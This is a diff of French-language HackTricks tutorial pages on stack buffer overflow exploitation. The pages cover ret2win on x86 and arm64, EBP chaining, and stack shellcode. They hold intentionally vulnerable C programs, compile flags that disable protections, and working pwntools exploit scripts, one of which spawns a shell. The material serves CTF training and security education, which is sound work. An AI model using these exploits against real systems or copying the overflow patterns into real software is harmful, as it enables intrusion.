+Les défis **Ret2win** sont une catégorie populaire dans les compétitions de **Capture The Flag (CTF)**, en particulier dans les tâches impliquant l'**exploitation binaire**. Le but est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée à l'intérieur du binaire, souvent nommée quelque chose comme `win`, `flag`, etc. Cette fonction, lorsqu'elle est exécutée, affiche généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'**adresse de retour** sur la pile pour détourner le flux d'exécution vers la fonction désirée. Voici une explication plus détaillée avec des exemples :
+
+### Exemple en C
+
+Considérez un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
+```c
+#include <stdio.h>
+#include <string.h>
+
+void win() {
+printf("Congratulations! You've called the win function.\n");
+}
+
+void vulnerable_function() {
+char buf[64];
+gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Pour compiler ce programme sans protections de la pile et avec **ASLR** désactivé, vous pouvez utiliser la commande suivante :
+```sh
+gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
+```
+* `-m32`: Compiler le programme en tant que binaire 32 bits (c'est facultatif mais courant dans les défis CTF).
+* `-fno-stack-protector`: Désactiver les protections contre les débordements de pile.
+* `-z execstack`: Autoriser l'exécution de code sur la pile.
+* `-no-pie`: Désactiver l'exécutable indépendant de la position pour garantir que l'adresse de la fonction `win` ne change pas.
+* `-o vulnerable`: Nommer le fichier de sortie `vulnerable`.
+
+### Exploitation Python utilisant Pwntools
+
+Pour l'exploitation, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploitation créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
+```python
+from pwn import *
+
+# Set up the process and context for the binary
+binary_path = './vulnerable'
+p = process(binary_path)
+context.binary = binary_path
+
+# Find the address of the win function
+win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary
+
+# Create the payload
+# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
+payload = b'A' * 68 + win_addr
+
+# Send the payload
+p.sendline(payload)
+p.interactive()
+```
+Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **objdump**, ou tout autre outil vous permettant d'inspecter les fichiers binaires. Par exemple, avec `objdump`, vous pourriez utiliser :
+```sh
+objdump -d vulnerable | grep win
+```
+Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de début.
+
+Le script Python envoie un message soigneusement conçu qui, lorsqu'il est traité par la `vulnerable_function`, provoque un dépassement de tampon et remplace l'adresse de retour sur la pile par l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, elle saute à `win`, et le message est imprimé.
+
+## Protections
+
+* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui provoque le dépassement est `read` ou similaire, vous pouvez effectuer un **Dépassement Partiel** de 1 ou 2 octets pour changer l'adresse de retour pour qu'elle soit la fonction win. En raison du fonctionnement de l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
+* Les [**Canaris de la Pile**](../../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivés, sinon l'adresse de retour EIP compromise ne sera jamais suivie.
+
+## Autres exemples & Références
+
+* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
+* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
+* 32 bits, pas d'ASLR
+* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
+* 64 bits avec ASLR, avec une fuite de l'adresse du binaire
+* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
+* 64 bits, pas d'ASLR
+* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
+* 32 bits, pas d'ASLR, double petit dépassement, d'abord pour dépasser la pile et agrandir la taille du second dépassement
+* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
+* 32 bits, relro, pas de canari, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
+* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
+* 32 bits, nx, rien d'autre, écrasement partiel de l'EIP (1 octet) pour appeler la fonction win
+* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
+* 32 bits, nx, rien d'autre, écrasement partiel de l'EIP (1 octet) pour appeler la fonction win
+* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
+* Le programme ne valide que le dernier octet d'un nombre pour vérifier la taille de l'entrée, il est donc possible d'ajouter n'importe quelle taille tant que le dernier octet est dans la plage autorisée. Ensuite, l'entrée crée un dépassement de tampon exploité avec un ret2win.
+* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
+* 64 bits, relro, pas de canari, nx, pie. Écrasement partiel pour appeler la fonction win (ret2win)
+
+## Exemple ARM64
+
+{% content-ref url="ret2win-arm64.md" %}
+[ret2win-arm64.md](ret2win-arm64.md)
+{% endcontent-ref %}
+
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Autres façons de soutenir HackTricks :
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md

@@ -0,0 +1,192 @@
+# Ret2win - arm64
+
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+
+Autres façons de soutenir HackTricks:
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+
+</details>
+
+Trouvez une introduction à arm64 dans:
+
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
+
+## Code&#x20;
+```c
+#include <stdio.h>
+#include <unistd.h>
+
+void win() {
+printf("Congratulations!\n");
+}
+
+void vulnerable_function() {
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Compilez sans l'option pie et sans canary :
+```bash
+clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
+```
+## Trouver le décalage
+
+### Option de motif
+
+Cet exemple a été créé en utilisant [**GEF**](https://github.com/bata24/gef):
+
+Démarrer gdb avec gef, créer un motif et l'utiliser:
+```bash
+gdb -q ./ret2win
+pattern create 200
+run
+```
+<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
+
+arm64 tentera de retourner à l'adresse dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le décalage du motif :
+```bash
+pattern search $x30
+```
+<figure><img src="../../../.gitbook/assets/image (1203).png" alt=""><figcaption></figcaption></figure>
+
+**Le décalage est de 72 (9x48).**
+
+### Option de décalage de la pile
+
+Commencez par obtenir l'adresse de la pile où le registre pc est stocké :
+```bash
+gdb -q ./ret2win
+b *vulnerable_function + 0xc
+run
+info frame
+```
+<figure><img src="../../../.gitbook/assets/image (1204).png" alt=""><figcaption></figcaption></figure>
+
+Maintenant, définissez un point d'arrêt après le `read()` et continuez jusqu'à ce que le `read()` soit exécuté et définissez un motif tel que 13371337:
+```
+b *vulnerable_function+28
+c
+```
+<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
+
+Trouvez où ce motif est stocké en mémoire :
+
+<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
+
+Ensuite : **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
+
+<figure><img src="../../../.gitbook/assets/image (1207).png" alt="" width="339"><figcaption></figcaption></figure>
+
+## Pas de PIE
+
+### Régulier
+
+Obtenez l'adresse de la fonction **`win`** :
+```bash
+objdump -d ret2win | grep win
+ret2win:     file format elf64-littleaarch64
+00000000004006c4 <win>:
+```
+Exploit:
+```python
+from pwn import *
+
+# Configuration
+binary_name = './ret2win'
+p = process(binary_name)
+
+# Prepare the payload
+offset = 72
+ret2win_addr = p64(0x00000000004006c4)
+payload = b'A' * offset + ret2win_addr
+
+# Send the payload
+p.send(payload)
+
+# Check response
+print(p.recvline())
+p.close()
+```
+<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
+
+### Décalage de 2
+
+Au lieu de remplacer toutes les adresses de retour, nous allons remplacer **uniquement les 2 derniers octets** par `0x06c4`.
+```python
+from pwn import *
+
+# Configuration
+binary_name = './ret2win'
+p = process(binary_name)
+
+# Prepare the payload
+offset = 72
+ret2win_addr = p16(0x06c4)
+payload = b'A' * offset + ret2win_addr
+
+# Send the payload
+p.send(payload)
+
+# Check response
+print(p.recvline())
+p.close()
+```
+<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
+
+## Avec PIE
+
+{% hint style="success" %}
+Compiler le binaire **sans l'argument `-no-pie`**
+{% endhint %}
+
+### Décalage de 2
+
+Sans fuite, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction à partir du binaire et sachant que l'adresse de retour que nous écrivons est déjà pointée vers une adresse proche, il est possible de divulguer le décalage de la fonction de gain (**0x7d4**) dans ce cas et simplement utiliser ce décalage :
+
+<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
+```python
+from pwn import *
+
+# Configuration
+binary_name = './ret2win'
+p = process(binary_name)
+
+# Prepare the payload
+offset = 72
+ret2win_addr = p16(0x07d4)
+payload = b'A' * offset + ret2win_addr
+
+# Send the payload
+p.send(payload)
+
+# Check response
+print(p.recvline())
+p.close()
+```
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+
+D'autres façons de soutenir HackTricks:
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+
+</details>

binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks:
 
 ## Informations de base
 
-Cette technique exploite la capacité de manipuler le **Pointeur de Base (EBP)** pour enchaîner l'exécution de plusieurs fonctions en utilisant soigneusement le registre EBP et la séquence d'instructions **`leave; ret`**.
+Cette technique exploite la capacité de manipuler le **Base Pointer (EBP)** pour enchaîner l'exécution de plusieurs fonctions en utilisant soigneusement le registre EBP et la séquence d'instructions **`leave; ret`**.
 
 Pour rappel, **`leave`** signifie essentiellement:
 ```
@@ -31,7 +31,7 @@ Et comme l'**EBP est dans la pile** avant l'EIP, il est possible de le contrôle
 Cette technique est particulièrement utile lorsque vous pouvez **modifier le registre EBP mais n'avez pas de moyen direct de changer le registre EIP**. Elle exploite le comportement des fonctions lorsqu'elles ont fini d'exécuter.
 
 Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **faux EBP** dans la pile qui pointe vers une zone en mémoire où se trouve l'adresse de votre shellcode (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement l'EIP. Lorsque `fvuln` retourne, l'ESP est défini sur cet emplacement fabriqué, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
-Notez comment vous **devez connaître 2 adresses** : celle où l'ESP va aller, où vous devrez écrire l'adresse pointée par ESP.
+Notez comment vous **devez connaître 2 adresses** : Celle où l'ESP va aller, où vous devrez écrire l'adresse pointée par ESP.
 
 #### Construction de l'exploit
 
@@ -39,25 +39,25 @@ Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des do
 
 Ensuite, vous devez connaître l'adresse utilisée par `ret` qui **exécutera du code arbitraire**. Vous pourriez utiliser :
 
-* Une adresse [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) valide.
+* Une adresse **ONE\_GADGET** valide.
 * L'adresse de **`system()`** suivie de **4 octets de remplissage** et l'adresse de `"/bin/sh"` (bits x86).
-* L'adresse d'un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie du **shellcode** à exécuter.
-* Une chaîne [**ROP**](../rop-return-oriented-programing/) quelconque
+* L'adresse d'un gadget **`jump esp;`** (ret2esp) suivi du **shellcode** à exécuter.
+* Une chaîne **ROP**.
 
 Rappelez-vous qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** en raison de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième faux EBP** et continuer à contrôler l'exécution.
 
-#### Exploitation de l'erreur d'un octet
+#### Exploitation Off-By-One
 
-Il existe une variante spécifique de cette technique appelée "Exploitation de l'erreur d'un octet". Elle est utilisée lorsque vous ne pouvez **modifier que le byte de poids faible de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.\
+Il existe une variante spécifique de cette technique appelée "Exploitation Off-By-One". Elle est utilisée lorsque vous ne pouvez **modifier que le byte de poids faible de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.\
 Généralement, le byte 0x00 est modifié pour sauter le plus loin possible.
 
 De plus, il est courant d'utiliser un toboggan RET dans la pile et de placer la véritable chaîne ROP à la fin pour qu'il soit plus probable que le nouvel ESP pointe à l'intérieur du toboggan RET et que la chaîne ROP finale soit exécutée.
 
-### **Chaine EBP**
+### **Chaining EBP**
 
 Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse à `leave; ret` dans `EIP`, il est possible de **déplacer l'`ESP` vers l'adresse `EBP` contrôlée de la pile**.
 
-Maintenant, l'**`ESP`** est contrôlé en pointant vers une adresse souhaitée et l'instruction suivante à exécuter est un `RET`. Pour abuser de cela, il est possible de placer à l'emplacement ESP contrôlé ceci :
+Maintenant, l'**`ESP`** est contrôlé pointant vers une adresse souhaitée et l'instruction suivante à exécuter est un `RET`. Pour abuser de cela, il est possible de placer à l'emplacement ESP contrôlé ceci :
 
 * **`&(prochain faux EBP)`** -> Charge le nouveau EBP en raison de `pop ebp` de l'instruction `leave`
 * **`system()`** -> Appelé par `ret`
@@ -106,7 +106,7 @@ print(p.recvline())
 ```
 ## EBP might not be used
 
-Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, l'**EBP ne parvient jamais à contrôler ESP**, par conséquent, toute exploitation fonctionnant en contrôlant EBP échouera essentiellement car elle n'a aucun effet réel.\
+Comme [**expliqué dans ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binaire est compilé avec certaines optimisations, l'**EBP ne parvient jamais à contrôler ESP**, donc, toute exploitation fonctionnant en contrôlant EBP échouera essentiellement car elle n'a aucun effet réel.\
 Cela est dû aux **changements dans le prologue et l'épilogue** si le binaire est optimisé.
 
 * **Non optimisé :**
@@ -200,4 +200,24 @@ Vérifiez la technique ret2esp ici:
 * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
 * 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
 * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
-* 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou pie et un WWW d'un qword. Obtenez d'abord la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées `.fini_array` + appel de `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). En abusant de cet écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
+* 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou le pie et un WWW d'un qword. Obtenez d'abord la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite de pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées `.fini_array` + appel de `__libc_csu_fini` ([plus d'infos ici](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). En abusant de cet écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
+
+## ARM64
+
+En ARM64, les **prologues et épilogues** des fonctions **ne stockent pas et ne récupèrent pas le registre SP** dans la pile. Par conséquent, par défaut, vous **ne pourrez pas contrôler le registre SP** en écrivant des données dans la pile.
+
+
+
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Autres façons de soutenir HackTricks:
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>

binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -0,0 +1,99 @@
+# Shellcode de la pile
+
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+
+Autres façons de soutenir HackTricks:
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+
+</details>
+
+## Informations de base
+
+Le **shellcode de la pile** est une technique utilisée dans **l'exploitation binaire** où un attaquant écrit un shellcode dans la pile d'un programme vulnérable, puis modifie le **Pointeur d'Instruction (IP)** ou le **Pointeur d'Instruction Étendu (EIP)** pour pointer vers l'emplacement de ce shellcode, le forçant à s'exécuter. Il s'agit d'une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire une exploitation correspondante en utilisant Python avec **pwntools**.
+
+### Exemple en C : Un programme vulnérable
+
+Commençons par un exemple simple d'un programme C vulnérable :
+```c
+#include <stdio.h>
+#include <string.h>
+
+void vulnerable_function() {
+char buffer[64];
+gets(buffer); // Unsafe function that does not check for buffer overflow
+}
+
+int main() {
+vulnerable_function();
+printf("Returned safely\n");
+return 0;
+}
+```
+Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction `gets()`.
+
+### Compilation
+
+Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :
+```sh
+gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
+```
+* `-fno-stack-protector`: Désactive la protection de la pile.
+* `-z execstack`: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile.
+* `-no-pie`: Désactive l'exécutable indépendant de la position, facilitant la prédiction de l'adresse mémoire où notre shellcode sera situé.
+* `-m32`: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour simplifier le développement de l'exploit.
+
+### Exploit Python utilisant Pwntools
+
+Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode**:
+```python
+from pwn import *
+
+# Set up the process and context
+binary_path = './vulnerable'
+p = process(binary_path)
+context.binary = binary_path
+context.arch = 'i386' # Specify the architecture
+
+# Generate the shellcode
+shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
+
+# Find the offset to EIP
+offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
+
+# Prepare the payload
+# The NOP slide helps to ensure that the execution flow hits the shellcode.
+nop_slide = asm('nop') * (offset - len(shellcode))
+payload = nop_slide + shellcode
+payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
+payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
+
+# Send the payload
+p.sendline(payload)
+p.interactive()
+```
+Ce script construit une charge utile composée d'un **glissement NOP**, du **shellcode**, puis écrase l'**EIP** avec l'adresse pointant vers le glissement NOP, garantissant l'exécution du shellcode.
+
+Le **glissement NOP** (`asm('nop')`) est utilisé pour augmenter les chances que l'exécution "glisse" vers notre shellcode indépendamment de l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre tampon plus un décalage pour atterrir dans le glissement NOP.
+
+## Protections
+
+* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.
+* Les [**Canaris de la pile**](../../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivés, sinon l'adresse de retour EIP compromise ne sera jamais suivie.
+* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) La protection de la **pile** empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.
+
+## Autres exemples et références
+
+* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
+* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
+* 64 bits, ASLR avec fuite d'adresse de pile, écrire du shellcode et sauter dessus
+* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
+* 32 bits, ASLR avec fuite de pile, écrire du shellcode et sauter dessus
+* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
+* 32 bits, ASLR avec fuite de pile, comparaison pour éviter l'appel à exit(), écraser une variable avec une valeur, écrire du shellcode et sauter dessus

binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

@@ -0,0 +1,87 @@
+# Shellcode de la pile - arm64
+
+<details>
+
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+
+Autres façons de soutenir HackTricks:
+
+* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+
+</details>
+
+Trouvez une introduction à arm64 dans:
+
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
+
+## Code&#x20;
+```c
+#include <stdio.h>
+#include <unistd.h>
+
+void vulnerable_function() {
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+}
+
+int main() {
+vulnerable_function();
+return 0;
+}
+```
+Compilez sans pie, canary et nx:
+
